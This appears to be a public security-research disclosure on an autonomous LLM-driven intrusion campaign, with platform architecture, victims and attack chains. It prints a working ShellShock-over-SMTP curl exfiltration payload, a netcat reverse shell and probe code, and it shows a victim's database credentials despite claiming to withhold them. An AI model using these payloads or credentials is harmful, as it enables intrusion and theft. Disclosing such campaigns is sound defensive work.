INDEPENDENT SECURITY RESEARCH — PUBLIC DISCLOSURE — OPERATION CAIRN — @TheM3gatr0n — OCTOBER 2026
WITHHELD: Victim names

Operation CAIRN: Technical Analysis of an Autonomous AI-Driven Intrusion Campaign

Independent Security Research · First Publication October 2026
AuthorM3GATR0N / @TheM3gatr0n
PublishedOctober 2026
ConfidenceHIGH — Direct artefact recovery
Threat StatusACTIVE AT DISCOVERY
Working NameUNC-CAIRN
Disclosure Notice: Operator network indicators (IP addresses, ports, TLS certificate hashes) are included in full. Victim organisation names and credential material are withheld.

Contents

  1. Executive Summary
  2. Key Findings
  3. Campaign Timeline
  4. The Cairn Platform: Architecture and Capability
  5. Operator Infrastructure
  6. Victim Analysis
  7. Technical Deep Dive: ShellShock over SMTP (CVE-2014-6271)
  8. Technical Deep Dive: Kubernetes Redis Pod Compromise
  9. Technical Deep Dive: MSSQL Credential Extraction Chain
  10. Privilege Escalation: Four Rounds, All Blocked
  11. CVE Inventory
  12. Indicators of Compromise
  13. Attacker Toolset
  14. MITRE ATT&CK Mapping
  15. Attribution Assessment
  16. Comparison: UNC-CAIRN vs ARTEX (Zscaler, October 2026)

1. Executive Summary

A Chinese-speaking threat actor has built and deployed a custom autonomous AI intrusion platform named Cairn, which selects targets, generates exploit chains, tracks failure states across sessions in a SQLite fact-graph, and iterates on blocked attack paths without sustained human involvement per session. Discovery resulted from routine investigation of a suspicious APAC-hosted VPS that was found serving an open staging directory on a non-standard port. The directory contained 150-plus active campaign artefacts including exploit tools, Chinese-language AI session logs, victim enumeration data, credential extracts, and platform management scripts.

Evidence recovered from these artefacts reveals a campaign active from 24 September 2026 through at least 13 October 2026, targeting a minimum of 85 organisations across the United States, Taiwan, Europe, and the broader Asia-Pacific region. Four distinct victim environments were positively identified from recovered artefacts. A fifth was targeted but could not be identified. Confirmed stolen material includes payment card stream data, customer plaintext credentials, Magento admin tokens, GCP service account private keys, MSSQL database credentials, and detailed internal network topology of a Taiwanese enterprise messaging provider including the contents of a 2.35 GB mail relay Mailbox and a cluster of 10 SQL Server production nodes.

The platform consumed 229,828 AI-dispatched attack sessions across 13 days, powered by two stolen Cline Pass subscriptions (combined ~$9,989 credit remaining at discovery) routing DeepSeek v4.1-flash through a pirated account rotation service. This report provides full technical analysis of the Cairn platform architecture, detailed walk-throughs of three confirmed intrusion chains sourced directly from recovered logs, an operator OPSEC assessment, and a comparison with the concurrent ARTEX campaign disclosed by Zscaler ThreatLabz.

2. Key Findings

Victim scope
85+

Distinct target projects in operator database, active 24 Sep – 6 Oct 2026

AI attack sessions
229,828

Dispatcher log lines over 13 days; average 17,679 per day at campaign peak (25 Sep)

Confirmed RCE
1

Taiwanese bulk SMS/messaging infrastructure; full shell as vpopmail, 4 failed privilege escalation rounds

Confirmed stolen
6+

Credential categories: payment cards, customer creds, Magento tokens, GCP SA keys, MSSQL creds, internal network topology

AI compute cost
~$10K

Two stolen Cline Pass subscriptions funding DeepSeek API; operator maintained key rotation during active campaign

Attack evidence preserved
6.1 GB

4,813 MB attack evidence + 1,340 MB AI session records in operator containers, labelled “do not delete”

3. Campaign Timeline

24 Sep 2026 — Campaign day 1
Campaign initialised. Dispatcher logs begin.
18,293 log lines generated on day 1. 7 objective-completion events recorded. Network configuration script provisions primary and secondary operator IPs on target VPS. Crontab shows cairn_guard.sh and cairn_disk_guard.sh scheduled (every minute and every 15 minutes respectively). Docker image oritera/cairn-worker-container pulled. Bootstrap phase: 98 sessions.
25 Sep 2026 — Campaign day 2 (peak)
Highest-volume day: 31,140 dispatcher events. 13 objectives completed.
Magento e-commerce target active (proj_001). Internet conglomerate target active (proj_008). First ClinePass rate-limit exhaustion event. Key rotation via fix_switcher.py patching /opt/cline-pass-switcher/server.js to handle header-safe account names.
29 Sep 2026 16:25 UTC
First confirmed ShellShock RCE on Taiwanese SMS infrastructure.
SMTP transaction at 16:25:28 UTC delivers payload to mail2.[REDACTED]:25. Exfil listener receives first callback at 16:25:28 UTC from victim IP. SVN repository configuration extracted. vpopmail user identity confirmed. Callback from AWS address (3[.]89[.]199[.]21) received at 16:30:37 UTC via sibling listener, confirming out-of-band network path from victim infrastructure.
29 Sep 2026 18:11–21:46 UTC
Sustained post-exploitation: full environment harvest over 5.5 hours.
Systematic SMTP-channel execution of: id, hostname, uname, resolv.conf, ARP table, routing table, netstat, ps -ef, mount, df, service listing, process listing, SVN config, PHP config, Apache config, web directory tree, SUID binary search, sudo version check, Java process tree, MAIL2POST mailbox listing. All output exfiltrated as chunked PUT requests to operator HTTP capture listener. Mailbox file Mailbox.e2po_teamplus_com_tw confirmed at 2,525,207,109 bytes (2.35 GB).
29 Sep 2026 20:58 UTC
MSSQL credential extraction confirmed.
ShellShock channel used to read /opt/web.xml. Database credentials extracted in full. Operator downloads MssqlProbe.java from staging directory to victim server via curl. JTurbo.jar JDBC driver located in 25+ service directories. Internal host file reveals MSSQL cluster: 10 production nodes (entdb10p–80p) on 10.225.30.x, 5 GW database nodes (gwdb15p–55p), 1 operational node (opdb110p). ARP scan reveals 22-host LAN on 192.168.1.x/24.
29 Sep 2026 18:29–19:00 UTC (approx.)
Privilege escalation: Round 1. Blocked.
SUID binary enumeration, sudo -n id test, sudo -V (confirms 1.7.2p1), writable cron path check, getcap sweep. All blocked: no sudo rights for vpopmail, no writable cron directories, no exploitable SUID beyond standard binaries.
29 Sep 2026 (18:51–53 UTC)
Privilege escalation: Rounds 2 and 3. Blocked.
/etc/sudoers unreadable. sudo -n id returns no output. Kernel: Linux 2.6.18-371.el5xen (CentOS 5, 2013 compile). Although over 40 known local privilege escalation CVEs affect this kernel, the Xen virtualisation layer and the operator's failure to transfer a compiled exploit binary blocked all attempts.
29 Sep 2026 (later)
Privilege escalation: Round 4. Blocked.
Package enumeration for sudo, udev, kernel CVE changelog. Operator identifies multiple relevant CVEs (CVE-2013-1775, CVE-2009-1185). No compiled exploit delivered. Escalation chain terminated at vpopmail shell.
24 Sep 2026 19:28 UTC
GCP Kubernetes Redis pod compromise confirmed.
Reverse shell connects from GCP node 35[.]241[.]192[.]106 to operator listener on port 4446. Shell: Alpine Linux, uid=0(root). Pod identity confirmed. Crontab entry */5 * * * * /bin/sh /data/pwn.sh confirmed. Redis AOF file at 174,520,757 bytes (174 MB). Environment variable sweep reveals 35+ tenant service addresses and names.
4 Oct 2026
Second Raspberry Pi worker (pi-cline-deepseek) goes silent.
Worker pi-cline-deepseek (8,472 tasks) last appears in dispatch logs on 4 October 2026. Cause unknown. First worker pi-workbuddy continues: 1,877 additional tasks dispatched 4–6 Oct. Azure VM at [REDACTED] continues pulling tasks remotely.
6 Oct 2026
Dispatcher logs end. Campaign enters dormancy or operational security pause.
Last log entry 6 Oct 2026: 6,040 lines. 51 total objective-completion events logged across 13 campaign days. Disk audit shows 98 GB data volume at 93% capacity. cairn_disk_guard.sh actively sweeping container temp directories.
13 Oct 2026
Open staging directory accessed during routine infrastructure research. This report initiated.
150-plus artefact files recovered. Full campaign scope identified. Four victim environments positively identified. Operator SSH credential found embedded in exploit script.

4. The Cairn Platform: Architecture and Capability

4.1 Overview

Cairn is a fully custom autonomous penetration/intrusion platform. It is not a modified or weaponised version of any known open-source pentest framework. Its architecture separates concerns cleanly: a dispatcher process manages project scheduling and worker allocation; Docker containers provide per-victim isolation (one Kali Linux container per project); a local API server exposes the project and intent state to workers; an LLM proxy handles AI inference via stolen subscriptions; and per-session Chinese-language summaries create a persistent institutional memory that carries forward across the 128,000-token context window.

┌──────────────────────────────────────────────────────────────────────┐
│ CAIRN PLATFORM                                                           │
│                                                                           │
│  ┌───────────────┐   ┌──────────────────────────────────────┐  │
│  │ Dispatcher     │   │ cairn.db (SQLite)                        │  │
│  │ /opt/cairn/     │──└─ projects  | intents | facts           │  │
│  │ dispatch.log    │   │ workers   | hints   | intent_sources  │  │
│  └───────┴───────┐   └──────────────────────────────────────┐  │
│          │                                                           │
│          │   ┌─────────────────┐  ┌─────────────────────┐  │
│          └──└─ Cairn API      │  │ LLM Proxy            │  │
│              │ uvicorn :8000  │──└─ 127.0.0.1:3123       │  │
│              │ Basic auth     │  │ ClinePass rotation   │  │
│              └────────┴───────┐  │ DeepSeek v4.1-flash │  │
│                       │          └─────────────────────┐  │
│                       │                                           │
│       ┌─────────────────┴─────────────────────────────┐   │
│       │          │                         │   │
│  ┌───────┬───────┐ ┌───────┬───────┐ ┌────────────────┐  │
│  │ pi-workbuddy │ │ pi-cline-  │ │ Azure VM (remote)│  │
│  │ 9,394 tasks  │ │ deepseek   │ │ pulls via API     │  │
│  │ Raspberry Pi │ │ 8,472 tasks│ │ 27K+ log hits     │  │
│  └─────────────┐ └─────────────┐ └────────────────┐  │
│                                                                           │
│  Docker containers (1 per victim project):                                │
│  cairn-dispatch-proj_XXX  /tmp/out (attack evidence, 4,813 MB total)       │
│  cairn-chat-proj_XXX      /tmp/cairn-pi (session records, 1,340 MB total)  │
└────────────────────────────────────────────────────────────────────────┘

4.2 The AI Attack Loop

Each Cairn attack session follows a structured reasoning loop. The dispatcher reads the SQLite database to find projects with open intents and available workers, selects a worker, and issues the task. Inside the Docker container, the LLM receives the target’s fact-graph (graph.yaml), a goal statement, and a Chinese-language summary of all prior sessions. It selects the next intent (attack step), the container executes it, and the result is written back to the fact-graph. Sessions that cannot advance the graph are marked as failing; the dispatcher tries a different angle on the next cycle.

Dispatch statistics — recovered from dispatch_stats.json
{
  "log_total_lines": 229828,        // individual dispatcher events across campaign
  "first_day": "2026-09-24",
  "last_day":  "2026-10-06",

  "dispatched_by_phase": {
    "explore":   17768,             // active exploit-phase attack dispatches
    "bootstrap": 98                 // initial target reconnaissance
  },

  "exec_by_phase": {
    "explore_execute":  17762,
    "explore_conclude": 16478,      // AI summarises each session
    "reason_execute":   15119,      // AI selects next attack step
    "bootstrap":        98,
    "bootstrap_conclude": 65
  },

  "task_finished": {
    "explore:failed":   9476,       // failed attack steps (surface tested, blocked)
    "reason:failed":    7948,
    "bootstrap:failed": 13,
    "explore:rejected": 3
  },

  "completed_events": 51,           // successful objective completions

  "top_projects_by_dispatch": {
    "proj_035": 2049,               // highest-effort target (unidentified)
    "proj_012": 1382,
    "proj_033": 1196,
    "proj_074":  972,
    "proj_062":  964,
    "proj_008":  615,               // Internet conglomerate / digital health
    "proj_001":  550                // consumer e-commerce
  }
}

4.3 AI Session Notes (Simplified Chinese)

Every session concludes with a structured Chinese-language summary written by the LLM, fed back into the next session as context. These notes track confirmed facts, blocked paths, and recommended next steps with clinical precision. The following is a translated excerpt from the attack against a consumer e-commerce Magento target, documenting the AI reasoning after a failed Microsoft OAuth2 credential exploitation attempt:

AI session conclusion note — proj_001, translated from Simplified Chinese
Original (Simplified Chinese):
  邮件通道方向结论:目标 [REDACTED] 的 Microsoft OAuth2 敏感凭据
  为 Magento Encryptor 加密密文,在无 FILE 权限、无 crypt key 的条件下
  无法解密/复用,『明文凭据→兑换 access_token→接管 [REDACTED] 邮箱
  →拦截管理员口令重置』链被彻底阻断

Translation:
  Mail channel direction conclusion: Target [REDACTED] Microsoft OAuth2 sensitive
  credentials are Magento Encryptor ciphertext. Without FILE permissions or the
  crypt key, decryption is impossible. The chain:
    [plaintext credential]
      → exchange access_token
      → take over [REDACTED] mailbox
      → intercept administrator password reset
  is completely blocked. This attack path is abandoned.

This represents a fundamental shift in adversarial tradecraft. Rather than a human analyst reviewing failure logs and manually pivoting, the AI maintains a structured reasoning chain across sessions and decides autonomously when to abandon a path and which alternative to attempt next.

4.4 ClinePass Subscription Abuse

The operator does not pay for LLM inference directly. They use a pirated version of ClinePass, a commercial Cline AI subscription service, via a locally deployed account rotation service at 127.0.0.1:3123. The rotation service is open-source software that was patched in-place by the operator (via fix_switcher.py) to correct a header-encoding bug that was causing account identification failures.

bal.json — recovered API key inventory (defanged)
Key 1:
  label:    "ClinePass 订阅 (钉死DeepSeek官方)"
            [Translation: "ClinePass subscription (locked to DeepSeek official)"]
  status:   "exhausted" (5-hour rate limit hit during peak campaign)
  balance:  $4,989.38 remaining
  userId:   usr-01M399PRPE49Q9Z8R513CSYGT7
  plan:     Cline Pass (Monthly), expires 2026-10-24
  weekly:   80% used

Key 2 (backup):
  label:    "cline"
  status:   "valid" (standby)
  balance:  $5,000.00 remaining (15% monthly used)
  userId:   usr-01M39VDXTGSNJRC8Z6CGPKFSWP
  plan:     Cline Pass (Monthly), expires 2026-10-24

Keys 3-4:
  provider: CommandCode (api.commandcode.ai)
  label:    "CommandCode 备用号1/2" [Backup accounts 1/2]
  status:   valid, inactive
  balances: $46.97 and $64.51 monthly credit
models.json — LLM configuration
{
  "providers": {
    "cline": {
      "baseUrl": "http://127.0.0.1:3123/v1",
      "api": "openai-completions",
      "models": [
        {
          "id": "cline-pass/deepseek-v4.1-flash",
          "name": "ClinePass DeepSeek",
          "contextWindow": 128000,
          "maxTokens": 8192
        }
      ]
    }
  }
}

4.5 Platform Engineering: Memory and Disk Management

The platform includes production-grade operational tooling that is evidence of active, iterative development. The opening comment of cairn_guard.sh explains its origin: the dispatcher previously grew to 12 GB in memory on a 16 GB host, filled swap, made SSH unresponsive, and was killed by the kernel’s OOM killer. The guard was written to prevent recurrence.

cairn_guard.sh — excerpt (memory thresholds and active-lease check)
SOFT_LIMIT_MB=2500         # warn threshold
HARD_LIMIT_MB=6000         # hard restart ceiling

active_leases() {
    python3 - <<'PY'
import sqlite3, os
path = os.path.expanduser("~/.local/share/cairn/cairn.db")
conn = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
cur = conn.cursor()
# count intents currently held by a worker (attack steps in progress)
total  = cur.execute(
    "select count(*) from intents "
    "where to_fact_id is null and worker is not null"
).fetchone()[0]
# count projects held in reason phase
total += cur.execute(
    "select count(*) from projects where reason_worker is not null"
).fetchone()[0]
print(total)
PY
}

# If memory is high but tasks are in-flight, defer restart until they complete
if [ "$AVAIL_MB" -gt "$CRITICAL_AVAILABLE_MB" ] && \
   [ "$RSS_MB" -lt "$HARD_LIMIT_MB" ] && [ "$LEASES" -gt 0 ]; then
    log "memory high (rss=${RSS_MB}MB avail=${AVAIL_MB}MB leases=$LEASES) \
         - deferring restart until tasks finish"
    exit 0
fi

The disk guard (cairn_disk_guard.sh, comments in Simplified Chinese) runs every 15 minutes and sweeps container writable layers, removing dictionary files, package downloads, and build caches while preserving attack evidence (/tmp/out) and session records (/tmp/cairn-pi). The classify.log confirms the operator’s own risk assessment of each category:

classify.log — operator risk classification of container storage (translated)
Category          Risk label      Total MB
-----------------------------------------------
cairn-prompts     Safe (clear)       290
work              Undecided           19
out               Attack evidence    4813   <-- "Do Not Delete"
cairn-pi          Session records    1340   <-- "Do Not Delete"
wpscan            Tool (redownload)    65
-----------------------------------------------
Must preserve (evidence + sessions): 6,153 MB

4.6 Cairn API — Confirmed Endpoints

The uvicorn API server at port 8000 (Basic auth restricted) exposes the full platform state. Recovered from cairn_serve.log:

EndpointMethodPurpose
GET /projectsGETList all victim projects
GET /projects/{id}GETProject detail including current status
GET /projects/{id}/export?format=yamlGETFull fact-graph export for a project
POST /projects/{id}/intents/{intent_id}/heartbeatPOSTWorker keepalive while task is executing
GET /api/provider/configGETFull key inventory with balances
POST /api/proxy/v1/chat/completionsPOSTProxied LLM inference (OpenAI-compatible)
POST /api/proxy/v1/responsesPOSTCommandCode responses API (backup path)

The Azure remote worker at [REDACTED] was confirmed making GET /projects/proj_014 requests to pull attack tasks. 27,000-plus log entries attributed to this IP in the preserved cairn_serve.log.

5. Operator Infrastructure

ComponentDescriptionConfidence
Primary C2 / Dispatcher202[.]61[.]139[.]15 — VPS on AS152194 (CTG Server Limited, Hong Kong-registered). Hosts Cairn dispatcher, API, LLM proxy, staging HTTP directory, and Metasploit handler. Hostname set to VM-Z4bLOIWlNO via network provisioning script. MAC: 22:4b:9b:00:07:31.Confirmed
Secondary operator IP202[.]61[.]139[.]137 — Same /25 block (202[.]61[.]128[.]0/19). Confirmed active for campaign traffic against European target. Both IPs provisioned by the same network_script matching MAC 22:4b:9b:00:07:31.Confirmed
Azure remote worker20[.]78[.]168[.]45 — Azure-hosted VM. 27,000-plus task-fetch events in cairn_serve.log, pulling attack tasks from Cairn API on port 8000.Confirmed
Victim exfil callback (AWS)3[.]89[.]199[.]21 — AWS address. Single GET request to operator exfil listener on 29 Sep 2026 16:30:37 UTC, confirming outbound connectivity from Taiwanese victim infrastructure.Confirmed
K8s reverse shell source (GCP)35[.]241[.]192[.]106 — GCP address. Connected to operator listener on port 4446 from the compromised Redis pod. Observed in cron_rev.txt and enum_redis.txt.Confirmed
pi-workbuddyRaspberry Pi; primary local attack worker. 9,394 tasks dispatched. Continued operating post-4 Oct 2026.Confirmed
pi-cline-deepseekRaspberry Pi; secondary local attack worker. 8,472 tasks. Silent from 4 Oct 2026 onwards.Confirmed
Docker imageoritera/cairn-worker-container (Kali Linux base). One container per victim project. 14-plus image layers confirmed in pull log.Confirmed
network_script (excerpt) — shows operator hard-coding both IPs via MAC address match
if [ $(cat $device/address) = '22:4b:9b:00:07:31' ] ; then
    # Configure primary C2 IP
    echo "IPADDR=202.61.139.15"    >> /etc/sysconfig/network-scripts/ifcfg-$device
    echo "NETMASK=255.255.255.128" >> /etc/sysconfig/network-scripts/ifcfg-$device
    # Configure secondary operator IP as alias
    echo "IPADDR1=202.61.139.137"  >> /etc/sysconfig/network-scripts/ifcfg-$device
    echo "NETMASK1=255.255.255.128">> /etc/sysconfig/network-scripts/ifcfg-$device
    echo "GATEWAY=202.61.139.1"    >> /etc/sysconfig/network-scripts/ifcfg-$device
    # CIDR block: 202.61.128.0/19 (AS152194, CTG Server Limited)
fi

6. Victim Analysis

Victim 1 — Confirmed
Consumer Sporting Goods / E-Commerce (US)
5M+ units/year • 50+ countries • Multiple retail brands
Magento 2.4 Enterprise / Adobe Commerce Cloud. Fastly CDN. Microsoft 365 tenant. 200-plus AI attack sessions (proj_001, 550 dispatches). Payment card stream data confirmed present on operator server. Staging Magento admin REST token extracted via blind SQL injection. Customer plaintext credentials recovered. CVE-2026-75650 (StyleSmuggler) exploitation in progress at time of discovery. Fastly WAF blocked all direct RCE attempts (406 responses logged in AI session notes).
Victim 2 — Confirmed
Digital Health Media / Automotive Finance / Legal Services SaaS (US)
$784.8M revenue (2025) • 250M+ monthly visitors • KKR-backed
Large internet conglomerate (automotive finance portal as entry point). Nuxt 3 / Java-Spring microservices, Kubernetes on GCP. SSRF chain via internal email test endpoint gave read-back of internal network. Internal GitLab (10.16.x), JFrog Artifactory (7.68.14), Consul KV (ACL disabled), Grafana, Prometheus, Rancher, FortiAuthenticator 6.6.4 all accessed. GCP service account private keys extracted and JWT-bearer flow verified live. Hardcoded admin JWT from anonymous docs endpoint. 200-plus AI sessions (proj_008, 615 dispatches).
Victim 3 — Confirmed
Taiwanese Bulk SMS / Enterprise Messaging Provider
Critical national communications infrastructure • Multiple carrier integrations • TeamPlus relay confirmed
ShellShocked via SMTP RCPT TO injection. Confirmed RCE as vpopmail (uid=510). Server: hostname gw244, CentOS 5 Xen, Linux 2.6.18-371.el5xen, uptime 1,743 days. Internal network: 192.168.1.x/24 LAN (22 ARP-visible hosts). 10-node MSSQL production cluster on 10.225.30.x. MSSQL credentials extracted. 2.35 GB MAIL2POST Mailbox file accessible. SVN repositories: /svn/, /VoIP/, /EasyFlow/, /DataMining/, /SMS/. Java SMS platform: EUMPS, UMPS, SMPPDSM2 services all running. Privilege escalation: 4 rounds, all blocked.
Victim 4 — Confirmed
Multi-Tenant SaaS Platform (GCP, UK-centric customer base)
35+ named customer tenants confirmed • Production environment (Datadog + SigNoz observed)
Compromised Redis pod running as root (uid=0). Alpine Linux, K8s pod. Reverse shell active every 5 minutes at time of discovery. Redis AOF file: 174 MB. 35-plus tenant service addresses in pod environment variables. Tenant verticals: sporting goods, outdoor equipment, equine, angling, home furnishing, wine, food service, several others. Datadog cluster agent and SigNoz OTEL agent both present, confirming production use.
Victim 5 — Confirmed targeting, partial identity
European Garden / Outdoor Power Equipment Manufacturer
€517M revenue • 92 countries • 1M+ machines/year
Corporate WordPress site targeted via secondary operator IP. WordPress 7.1.2, Wordfence 9.0.0. 5.16 GB debug.log publicly readable (absolute server path leaked). Shared staging environment with multiple sub-brands. CVE-2026-8732 attempted, Wordfence blocking. FormCraft SSRF confirmed via uppercase URL parameter bypass.

7. Technical Deep Dive: ShellShock over SMTP (CVE-2014-6271)

7.1 Why It Worked

The target SMTP server runs qmail with a vpopmail virtual mail system and an inline content filter (described in tool comments as an "Internal Firewall"). The filter inspects MAIL FROM and DATA body for the literal string () {, but does not inspect RCPT TO. When qmail-local processes a local delivery, it sets the recipient string into the RECIPIENT and LOCAL environment variables of a bash-3.2 subprocess. Bash 3.2 is vulnerable to CVE-2014-6271: a function definition in an environment variable causes the shell to execute the trailing command.

i051_shock_rce.py — RCPT TO payload construction
SHELLSHOCK_PREFIX = "() { :; }; "

def shellshock_rcpt(cmd, callback, domain="every8d.com"):
    """
    Build the RCPT TO line carrying the shellshock payload.
    Command output piped to curl -T - (chunked PUT upload).
    Pipe used instead of redirect: '>' would terminate the RCPT address.
    """
    return "RCPT TO:<%s%s|curl -s -T - http://%s/ev/%s@%s>" % (
        SHELLSHOCK_PREFIX, cmd, callback, label_of(cmd), domain)

# Resulting SMTP transaction:
HELO relay.local
MAIL FROM:<a@b.com>
RCPT TO:<() { :; }; id|curl -s -T - http://[REDACTED]:8997/ev/id@every8d.com>
DATA
Subject: t

hi
.
QUIT

7.2 Execution Confirmed in ps Output

The attack was visible in its own victim’s process table. The recovered ps -ef output from 29 Sep 2026 20:58 UTC shows the qmail-local process with the complete ShellShock payload in its argument list, alongside the resulting curl and grep child processes exfiltrating MSSQL credential data in real time:

ps -ef extract from http-rce.log — attack visible mid-flight in victim process table
30533  8257 vpopmail S  qmail-local  bin/qmail-local -- every8d.com \
    /home/vpopmail/domains/every8d.com \
    every8d.com-() { :; }; grep -R -i 1433 /opt /usr/local \
    /home/vpopmail /var/qmail|curl -s -T - \
    http://[REDACTED]:8997/ev/grep_-R_-i_1433__opt...@every8d.com \
    every8d.com a@b.com /tmp/Mailbox

30535 30534 vpopmail S  grep  grep -R -i 1433 /opt /usr/local ...
30536 30534 vpopmail S  curl  curl -s -T - http://[REDACTED]:8997/ev/...

7.3 Exfiltration Channel: SMTP 250 Replies

The exfil listener log shows command output arriving as chunked HTTP PUT requests from the victim server. Each command is encoded in the URL path; the body carries the raw output. Timestamps confirm commands executed approximately 5-6 seconds apart, consistent with qmail’s local delivery processing time plus curl transfer time. The channel delivered megabytes of data including the full ARP table, route table, process list, mount points, and web.xml configuration file.

http-rce.log — MSSQL credential delivery (29 Sep 2026 21:46:11 UTC)
PUT /ev/grep_-n_-A_25_MODbUser__opt_web_xml from=('210.68.77.244', 41772)
body=
  60:  <param-name>MODbUser</param-name>
  61-  <param-value>eu</param-value>
  ...
  64:  <param-name>MODbPassword</param-name>
  65-  <param-value>mactytech</param-value>
  ...
  53:  <param-name>MODbPort</param-name>
       <param-value>1433</param-value>
  57:  <param-name>MODbEncoding</param-name>
       <param-value>Cp950</param-value>     <-- Traditional Chinese encoding

7.4 Internal Network Topology Revealed

The ARP cache and /etc/hosts from the compromised server exposed the victim’s full internal production network:

/etc/hosts — MSSQL cluster topology (IP addresses redacted)
# MSSQL production database cluster (enterprise nodes):
10.225.30.10  entdb10p  ENTDB10P
10.225.30.20  entdb20p  ENTDB20P
10.225.30.30  entdb30p  ENTDB30P
10.225.30.40  entdb40p  ENTDB40P
10.225.30.50  entdb50p  ENTDB50P
10.225.30.60  entdb60p  ENTDB60P
10.225.30.70  entdb70p  ENTDB70P
10.225.30.80  entdb80p  ENTDB80P

# Gateway database nodes:
10.225.30.15  gwdb15p/gwdb25p/gwdb35p  (gw1/gw2/gw3)
10.225.30.45  gwdb45p  (gw4)
10.225.30.55  gwdb55p  (gw5)

# Operational node:
10.225.30.110 opdb110p

# Common:
192.168.2.160 comdb10p

# NFS mounts observed:
192.168.1.71:/share     -> /share71
192.168.1.190:/vol/share -> /mnt/190NAS2       (NFS storage, 2.4 GB backup visible)
192.168.1.8:/var         -> /mnt/8var          (Apache SVN repositories)
192.168.1.230:/data      -> /mnt/data230

8. Technical Deep Dive: Kubernetes Redis Pod Compromise

A Redis pod in a GCP-hosted Kubernetes cluster (GCP project name recoverable from DNS search suffix) was found with a persistent reverse shell installed as a root crontab entry. The attack predated discovery by at least several weeks; the pod was created 24 September 2026, the same day the Cairn campaign began.

enum_redis.txt — post-compromise enumeration output
@@@ id @@@
uid=0(root) gid=0(root) groups=0(root)

@@@ hostname @@@
[REDACTED pod name]
Linux [REDACTED] 6.12.94+ #1 SMP Wed Aug 19 07:48:21 UTC 2026 x86_64

@@@ /data @@@
-rw-r--r--  root  174,520,757  Sep 24 20:00  appendonly.aof    <-- Redis AOF (174 MB)
-rwxr-xr-x  root           43  Sep 24 20:03  pwn.sh

@@@ crontab @@@
*/5 * * * * /bin/sh /data/pwn.sh

# pwn.sh contents:
#!/bin/sh
nc 202.61.139.15 4446 -e /bin/sh

The pod’s environment variables exposed the internal service mesh for 35-plus named tenant deployments. Every service entry follows the pattern TENANTNAME_{REDIS|WEB|MEMCACHE}_SVC_PORT, giving the operator the complete internal Kubernetes service registry. Notable: several tenants have both Redis and Memcache sidecar deployments, and the Datadog cluster agent is visible on the service network (confirming a fully instrumented production environment, not a staging cluster).

enum_redis.txt — tenant service addresses (extract, all redacted to ranges)
# Tenant service addresses visible from compromised pod (10.26.x.x range):
# 35+ tenant web services:    10.26.48.x – 10.26.63.x
# 25+ tenant Redis services:  10.26.48.x – 10.26.63.x (port 6379)
# 4 tenant Memcache services: 10.26.52.x, 10.26.53.x, 10.26.57.x, 10.26.58.x (port 11211)
# Kubernetes API server:      10.26.48.1:443
# Cluster DNS:                10.26.48.10 (nameserver)
# Datadog agent:              10.26.60.7:8125 (UDP)
# Datadog cluster agent:      10.26.63.179:5005
# SigNoz OTEL agent:          10.26.57.176:4317/4318/8888/13133

9. Technical Deep Dive: MSSQL Credential Extraction Chain

After obtaining the SMTP-channel shell, the operator conducted a systematic multi-stage operation to extract database credentials and verify connectivity:

Stage 1 — Locate the config file. The operator’s webxml_dbscan.py script scanned 11 known Tomcat webapp paths for MODb parameter names, recovering credentials from /opt/web.xml. The script was designed for this exact server’s file layout, suggesting prior reconnaissance or targeted development.

webxml_dbscan.py — target-specific path list
paths = [
    '/usr/local/sms/EUMPS_MOMO2/webapps/EUMPS/WEB-INF/web.xml',
    '/usr/local/sms/EUMPS_N/webapps/EUMPS/WEB-INF/web.xml',
    '/usr/local/sms/EUMPS_N/webapps/MMSG/WEB-INF/web.xml',
    '/usr/local/sms/EUMPS_MOMO/webapps/EUMPS/WEB-INF/web.xml',
    '/usr/local/sms/EUMPS_OTP/webapps/EUMPS/WEB-INF/web.xml',
    '/usr/local/sms/UMPS-WEB/webapps/ROOT/WEB-INF/web.xml',
    '/usr/local/sms/TRANSOUT/webapps/ROOT/WEB-INF/web.xml',
    # ... 4 more
]

Stage 2 — Locate the JDBC driver. The ShellShock channel executed find /opt /usr/local -name JTurbo.jar -print. The driver was found in 31 locations across 12 Java service directories.

Stage 3 — Download MssqlProbe.java. The operator served MssqlProbe.java from their staging HTTP directory. The ShellShock channel used curl -s http://[REDACTED]:9000/MssqlProbe.java | tee /tmp/MssqlProbe.java to pull it to the victim server. The recovered ps output confirms the file arriving at 20:58:17 UTC as a PUT request body.

Stage 4 — Compile and test. The operator attempted to compile and run MssqlProbe.java using the JTurbo.jar driver found in Step 2. The javac compilation step shows in the SMTP log but the output body was empty, suggesting either successful silent compilation or a compilation failure handled gracefully by the shell exfil pipe.

MssqlProbe.java — JDBC credential verifier
import java.sql.*;
import java.util.*;
import java.io.*;
public class MssqlProbe {
    static void out(String s) {
        try { FileWriter f = new FileWriter("/tmp/sqlprobe.out", true);
              f.write(s+"\n"); f.close(); } catch(Exception e){}
    }
    public static void main(String[] a) {
        out("START host="+a[0]+" port="+a[1]+" db="+a[2]+" user="+a[3]);
        try {
            DriverManager.setLoginTimeout(8);
            Class.forName("com.newatlanta.jturbo.driver.Driver");
            String url = "jdbc:JTurbo://"+a[0]+":"+a[1]+"/"+a[2];
            Properties p = new Properties();
            p.setProperty("user", a[3]);
            p.setProperty("password", a[4]);
            Connection c = DriverManager.getConnection(url, p);
            out("AUTH_SUCCESS "+c.getMetaData().getDatabaseProductName()
                +" "+c.getMetaData().getDatabaseProductVersion());
            c.close();
        } catch(Throwable e) { out("AUTH_RESULT "+e.toString()); }
    }
}

// Called as:
// java -cp .:JTurbo.jar MssqlProbe 192.168.1.235 1433 MO eu mactytech

10. Privilege Escalation: Four Rounds, All Blocked

The operator made four documented attempts to escalate from vpopmail to root. The victim server, despite running a Linux kernel from 2013 with over 40 known local privilege escalation CVEs, resisted all attempts.

RoundTimestampTechnique attemptedWhy it failed
118:29 UTCsudo -n id, SUID binary enumeration, getcap sweep, writable cron pathsvpopmail has no sudo rights. Writable cron directories do not exist. No unusual SUID binaries beyond standard set (ping, su, passwd, mount, umount, fusermount).
218:50 UTCsudo -n id, sudo -V (confirmed 1.7.2p1)Same. sudo read of /etc/sudoers returns empty (unreadable). sudo version 1.7.2p1 has known CVEs but operator did not attempt to exploit sudo itself.
318:51–53 UTCRe-test sudo, id, hostname, environment checkRepeated confirmation of same constraints. No new paths identified.
418:54 UTCKernel CVE identification: sudo changelog grep, udev changelog grep, kernel changelog grepMultiple CVEs identified (CVE-2013-1775, CVE-2013-1776, CVE-2009-1185, CVE-2013-0871). Operator chose not to deliver a compiled exploit binary via the limited SMTP/curl channel. Xen virtualisation adds complexity to local kernel exploits.
